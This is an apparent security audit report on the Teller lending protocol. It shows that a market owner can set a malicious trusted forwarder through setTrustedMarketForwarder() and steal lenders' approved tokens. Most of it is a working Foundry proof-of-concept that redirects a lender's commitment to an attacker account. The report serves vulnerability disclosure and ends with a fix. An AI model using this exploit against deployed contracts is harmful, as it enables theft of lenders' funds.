dingo

high

# [H-04] Market owner can steal all lender's approved assets to protocol.

## Summary
SC: TellerV2Context.sol

The core of vulnerability is lying in function `setTrustedMarketForwarder()`. Market owner can set custom marketForwarder address and steal all approved assets by all lenders to protocol. 

## Vulnerability Detail
Step by step attack vector:
1) MarketOwner create market.
2) MarketOwner call `setTrustedMarketForwarder()`, set custom marketForwarder address.
3) Lender's and borrowers are going to use revolve loans, marketOwner waiting for big volume of approvals.
4) Market owner now can steal all lender's approved assets by 2 ways:
-by use custom-attack functions() in custom marketForwarder contract like `changeCommitment()`.
-use another exploit from my previous finding ` [H-03] Attacker can steal all approved lender's assets without lost of collateral.`

Here we will see first attack vector with custom smart contract `marketForwarder`. Second vector is described detailed in separate report.

Foundry test:
1) Create `H-04.t.sol `and run `forge test --match-path tests/TellerV2/H-04.t.sol -vvvv` 
2) Test code:  

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../../contracts/TellerV2.sol";
import "../tokens/TestERC20Token.sol";
import "./User.sol";

import "../../contracts/EAS/TellerAS.sol";
import "../../contracts/EAS/TellerASEIP712Verifier.sol";
import "../../contracts/EAS/TellerASRegistry.sol";

import {ReputationManager} from "../../contracts/ReputationManager.sol";
import "../../contracts/CollateralManager.sol";
import "../../contracts/LenderManager.sol";
import {MarketRegistry} from "../../contracts/MarketRegistry.sol";
import { LenderCommitmentForwarder } from "../../contracts/LenderCommitmentForwarder.sol";  
import { LenderCommitmentForwarderFake } from "../../contracts/LenderCommitmentForwarderFake.sol";  


import "../../contracts/escrow/CollateralEscrowV1.sol";
import "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";

contract MyTest is Test {

    address public attacker = vm.addr(12345);
    address public borrowerTrusted = vm.addr(123456);

    TellerV2 tellerV2;
    TestERC20Token lendingToken;
    TestERC20Token lendingTokenZeroDecimals;
    User borrower;
    User lender;
    User marketOwner;
    User trustedForwarder;
    MarketRegistry marketRegistry;
    ReputationManager reputationManager;
    CollateralManager collateralManager;
    LenderManager lenderManager;
    LenderCommitmentForwarder lenderCommitmentForwarder;
    LenderCommitmentForwarderFake lenderCommitmentForwarderFake;
    CollateralEscrowV1 collateralEscrowV1;
    UpgradeableBeacon upgradeableBeacon;
   
    TellerAS tellerAS;
    TellerASEIP712Verifier tellerASEIP712Verifier;
    TellerASRegistry tellerASRegistry;

    function setUp() public {

        borrower                  = new User();
        lender                    = new User();
        marketOwner               = new User();
        trustedForwarder          = new User(); //~
        tellerV2                  = new TellerV2(address(this)); //trustedForwarder in const
        tellerASEIP712Verifier    = new TellerASEIP712Verifier();
        tellerASRegistry          = new TellerASRegistry();
        tellerAS                  = new TellerAS(tellerASRegistry,tellerASEIP712Verifier);

        marketRegistry            = new MarketRegistry();
        reputationManager         = new ReputationManager();
        collateralManager         = new CollateralManager();
        lenderManager             = new LenderManager(marketRegistry);
        lenderCommitmentForwarder = new LenderCommitmentForwarder(address(tellerV2),address(marketRegistry));
        lenderCommitmentForwarderFake = new LenderCommitmentForwarderFake(address(tellerV2),address(marketRegistry));
        collateralEscrowV1        = new CollateralEscrowV1();
        upgradeableBeacon         = new UpgradeableBeacon(address(collateralEscrowV1));

        lendingToken              = new TestERC20Token("Wrapped Ether", "WETH", 1e30, 18);
        lendingTokenZeroDecimals  = new TestERC20Token(
            "Wrapped Ether",
            "WETH",
            1e16,
            0
        );
        deal({token: address(lendingToken), to: address(lender), give: 100e18});
        deal({token: address(lendingToken), to: address(borrower), give: 100e18});
        vm.prank(address(lender));
        lendingToken.approve(address(tellerV2),100e18);
        vm.prank(address(borrower));
        lendingToken.approve(address(tellerV2),100e18);
        //log
        
        reputationManager.initialize(address(tellerV2));
        marketRegistry.initialize(tellerAS);
        collateralManager.initialize(address(upgradeableBeacon),address(tellerV2));
        tellerV2.initialize(
            0,  //_protocolFee
            address(marketRegistry),
            address(reputationManager),
            address(lenderCommitmentForwarder),
            address(collateralManager),
            address(lenderManager)
        );
    }

    function testLive() public {

        console.log("===========================BEFORE  attack=============================================");
        console.log("Borrower ERC20 balance:          ",lendingToken.balanceOf(address(borrower)));
        console.log("Lender ERC20 balance:            ",lendingToken.balanceOf(address(lender)));
        console.log("attacker ERC20 balance:          ",lendingToken.balanceOf(address(attacker)));
        
        vm.startPrank(address(marketOwner));
        marketRegistry.createMarket(
            address(marketOwner),
            30 days,  //_paymentCycleDuration
            1 days,       //_paymentDefaultDuration 
            1 days,   //_bidExpirationTime
            0,        //feePercent  <<==Fee is 0
            false,    //lenderAttest
            false,    //borrowerAttest
            "mytestURI"
        );
        tellerV2.setTrustedMarketForwarder(1,address(lenderCommitmentForwarderFake));
        vm.stopPrank();

        vm.prank(address(marketOwner));
        tellerV2.setTrustedMarketForwarder(1,address(lenderCommitmentForwarderFake));
        
        vm.prank(address(borrower));
        tellerV2.approveMarketForwarder(1,address(lenderCommitmentForwarderFake));

        vm.prank(address(lender));
        tellerV2.approveMarketForwarder(1,address(lenderCommitmentForwarderFake));

        LenderCommitmentForwarderFake.Commitment memory commitment = LenderCommitmentForwarderFake.Commitment({
            maxPrincipal: 100e18,
            expiration: 100_000,
            maxDuration: 365 days,
            minInterestRate: 0,
            collateralTokenAddress: address(lendingToken),
            collateralTokenId: 0,
            maxPrincipalPerCollateralAmount: 0,
            collateralTokenType: LenderCommitmentForwarderFake.CommitmentCollateralType.NONE,
            lender: address(lender),
            marketId: 1,
            principalTokenAddress: address(lendingToken)
        });
        
        address[] memory borrowersWL = new address[](1);
        borrowersWL[0] = address(borrower);

        vm.prank(address(lender));
        lenderCommitmentForwarderFake.createCommitment(commitment, borrowersWL);

        vm.startPrank(address(marketOwner));
        LenderCommitmentForwarderFake.Commitment memory commitment2 = LenderCommitmentForwarderFake.Commitment({
            maxPrincipal: 100e18,
            expiration: 100_000,
            maxDuration: 365 days,
            minInterestRate: 0,
            collateralTokenAddress: address(lendingToken),
            collateralTokenId: 0,
            maxPrincipalPerCollateralAmount: 0,
            collateralTokenType: LenderCommitmentForwarderFake.CommitmentCollateralType.NONE,
            lender: address(lender),
            marketId: 1,
            principalTokenAddress: address(lendingToken)
        });
        
        address[] memory borrowersWL2 = new address[](1);
        borrowersWL2[0] = address(attacker);
        lenderCommitmentForwarderFake.changeCommitment(commitment2, borrowersWL2,0);
        vm.stopPrank();
        
        vm.startPrank(attacker);
        tellerV2.approveMarketForwarder(1,address(lenderCommitmentForwarderFake));
        lenderCommitmentForwarderFake.acceptCommitment(
            0,
            100e18,
            0,
            0,
            address(lendingToken),
            10_00,
            365 days
        );

        console.log("===========================AFTER attack=============================================");
        console.log("Borrower ERC20 balance:          ",lendingToken.balanceOf(address(borrower)));
        console.log("Lender ERC20 balance:            ",lendingToken.balanceOf(address(lender)));
        console.log("attacker ERC20 balance:          ",lendingToken.balanceOf(address(attacker)));
       
    }
}
```

Before `acceptCommitment()` by attacker(second account of marketOwner) he has to change commitment in mapping using this function at custom SC(which he set before using `setTrustedMarketForwarder()` in` TellerV2.sol`.
Full code of `LenderCommitmentForwarderFake.sol` is represented here:
(compared to the original contract, there is only one change , added  function `changeCommitment()`)
https://gist.github.com/dingo2077/9accab4e4ab7e3a70c2a240733f5bdbb
![image](https://user-images.githubusercontent.com/106747559/233773811-c94c2b05-fb31-4a65-8467-f36fd8ab49a5.png)

As a result of test we see successfull attack:
![image](https://user-images.githubusercontent.com/106747559/233773995-492d60b1-3af6-434e-bf48-43311c6d97bc.png)


## Impact
All approved lender's assets could be stolen by marketOwner.

## Code Snippet
https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/TellerV2Context.sol#L70

## Tool used
Manual Review

## Recommendation
There is no need to change `LenderCommitmentForwarder` address. If it necessary owner could upgrade SC.

